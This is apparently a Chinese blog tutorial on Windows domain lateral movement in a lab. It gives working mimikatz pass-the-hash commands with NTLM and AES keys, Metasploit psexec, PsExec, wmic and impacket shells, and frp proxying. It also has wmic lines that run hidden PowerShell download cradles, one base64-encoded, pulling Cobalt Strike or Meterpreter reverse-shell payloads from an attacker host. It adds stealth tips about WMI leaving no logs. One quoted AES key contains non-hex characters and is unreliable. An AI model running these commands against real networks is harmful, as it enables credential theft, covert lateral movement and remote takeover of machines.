[内网渗透]—kerberos&域内提权(pth、wmic)

Kerberos

Kerberos身份验证流程 - zpchcbd - 博客园 (cnblogs.com)

能用通用的语言介绍下 Kerberos 协议么? - 知乎 (zhihu.com)

介绍

在 Kerberos 认证中,最主要的问题是如何证明「你是你」的问题,如当一个 Client 去访问 Server 服务器上的某服务时,Server 如何判断 Client 是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是 Kerberos 解决的问题。在域渗透过程中 Kerberos 协议的攻防也是很重要的存在。

Kerberos 主要是用在域环境下的身份认证协议

哈希传递(Path The Hash)

哈希传递通过找到与账户相关的密码散列值(NTLM Hash)来攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,如果计算机的本地管理员账号和密码都是相同的,攻击者就能使用哈希传递方法登陆内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值。

散列值在Windows中是用来证明身份的,攻击者往往会使用第三方工具来完成任务。在win2012之后的版本,默认内存中不会记录明文密码,因此攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

NTLM Hash进行哈希传递

先通过mimikatz找到域控的NTLM

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

获取ntlm为: 209c6174da490caeb422f3fa5a7ae634

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:sentiment.com /ntlm:209c6174da490caeb422f3fa5a7ae634 

执行后会弹出cmd窗口,此时就拿到了administrator的权限

在这里插入图片描述

AES-256密钥进行哈希传递

先通过mimikatz找到域控的aes-256密文

mimikatz "privilege::debug" "sekurlsa::ekeys"

获取秘钥:ehdc2539aac27hffdb3a83dc20d16a7efcf62bb0bb5136454fb48bfbf5d5b0ea

mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:sentiment /aes256:ehdc2539aac27hffdb3a83dc20d16a7efcf62bb0bb5136454fb48bfbf5d5b0ea

执行后会弹出cmd窗口,此时就拿到了administrator权限

MSF

先生成shell,获取边缘主机的会话

添加内网主机路由

run autoroute  -s 192.168.52.170 -n 255.255.255.0

hash传递攻击

注:这里的a0a0…代表的是LM hash,是msf默认自带的而如果我们获取到了ntlm hash,则LM只需要随便输入32位字符即可

msf6  > use  exploit/windows/smb/psexec
msf6  > set payload windows/x64/meterpreter/bind_tcp
msf6  > set rhost 192.168.52.170
msf6  > set smbdomain sentiment					#域名
msf6  > set smbuser administrator				#用户名
msf6  > set smbpass a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0:209c6174da490caeb422f3fa5a7ae634
msf6  > run

在这里插入图片描述

除此外,还可以通过msf自带的抓取hash功能,替换到smbpass处**(若获取到铭文密码亦可)**

run post/windows/gather/hashdump

当获取到边缘主机的会话,并且抓到administrator的hash后,即可通过该hash,进行哈希传递

更新KB2871997补丁产生的影响

微软在2014年5月发布了 KB2871997补丁,KB2871997 补丁将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。

PsExec

介绍

PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。

PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

攻击过程

先建立IPC通道

net use \\192.168.52.170\IPC$  /user:sentiment\administrator admin

此时执行

PsExec64.exe -accepteula \\192.168.52.170 -s cmd.exe

在这里插入图片描述

此时便会获取目标机器的system权限的会话

上边哈希传递msf中使用的模块就是psexec

注意事项

在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。

在这里插入图片描述

WMI

WMI使用学习笔记_乌鸦安全的博客-CSDN博客_wmi用户名密码

介绍

WMI的全名为"Windows Management Instrumentation"。从win8后,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是乎攻击者转向使用WMI进行横向移动。在渗透时发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会记录日志,所以对蓝队来说大大增加了溯源的成本。对攻击者来说,被发现的可能性降低,隐蔽性提高。很多APT组织现在都喜欢使用WMI进行攻击。

攻击过程

wmic /node:192.168.52.170 /user:sentiment\administrator /password:admin process call create "cmd.exe /c ipconfig >C:\ip.txt"

这种方式没有回显,因此需要建立IPC共享命名管道,用于读取执行结果

net use \\192.168.52.170\IPC$  /user:sentiment\administrator admin
type \\192.168.52.170\c$\ip.txt

这种方式没有回显,因此若我们执行的是恶意程序,将不会留下日志信息。

impacket工具包中的wmiexec

下载好工具包后先

sudo python3 setup.py install 

代理转发

建个代理转发

frps.ini

[common]
bind_port = 7000	

./frps -c frps.ini开启服务

frpc.ini

[common]
server_addr = 192.168.142.129
server_port = 7000

[plugin_socks]
type=tcp
remote_port = 1008
plugin = socks5

frpc.exe -c frpc.ini开启服务

wmiexec.py

在kali上安装impacket工具包,我们使用wmiexec.py这个利用脚本获取目标系统的Shell。该方法主要是从Linux向Windows进行横向渗透测试时使用

proxychains python3 wmiexec.py administrator@192.168.52.170

在这里插入图片描述

smbexec.py

proxychains python3 smbexec.py sentiment/administrator:admin@192.168.52.170

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。

交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.170 administrator admin

在这里插入图片描述

非交互式shell

cscript.exe  //nologo wmiexec.vbs /cmd  192.168.42.129 administrator admin "whoami"

wait参数(中间无空格)

对于运行时间比较长的命令,例如ping、systeminfo,需要添加 -wait5000或者更长时间的参数。

注:在这里基本上很多资料都写成了 -wait 5000(空格),这是错误的写法。

wmic上线CS

CS生成powershell上线命令

wmic /node:192.168.52.170 /user:administrator /password:admin process call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.142.129:80/a'))""

wmic上线MSF

use exploit/multi/script/web_delivery
set target 2

在这里插入图片描述

在这里修改下payload

set payload windows/meterpreter/reverse_tcp
options

设置lhost

set lhost 192.168.142.129
run

payload

wmic /node:192.168.52.170 /user:administrator /password:admin process call create "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABoAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGgALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABoAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMgAuADEAMgA5ADoAOAAwADgAMAAvAGcAUQBjAGMANQBtAC8AdgA4AEwAawBqAHoAYQBKAEkAUwBsAFMAWQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMgAuADEAMgA5ADoAOAAwADgAMAAvAGcAUQBjAGMANQBtACcAKQApADsA"

CS和MSF这种方式貌似就不适用于中转上线了,因为目标靶机不出网无法访问到服务端地址

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值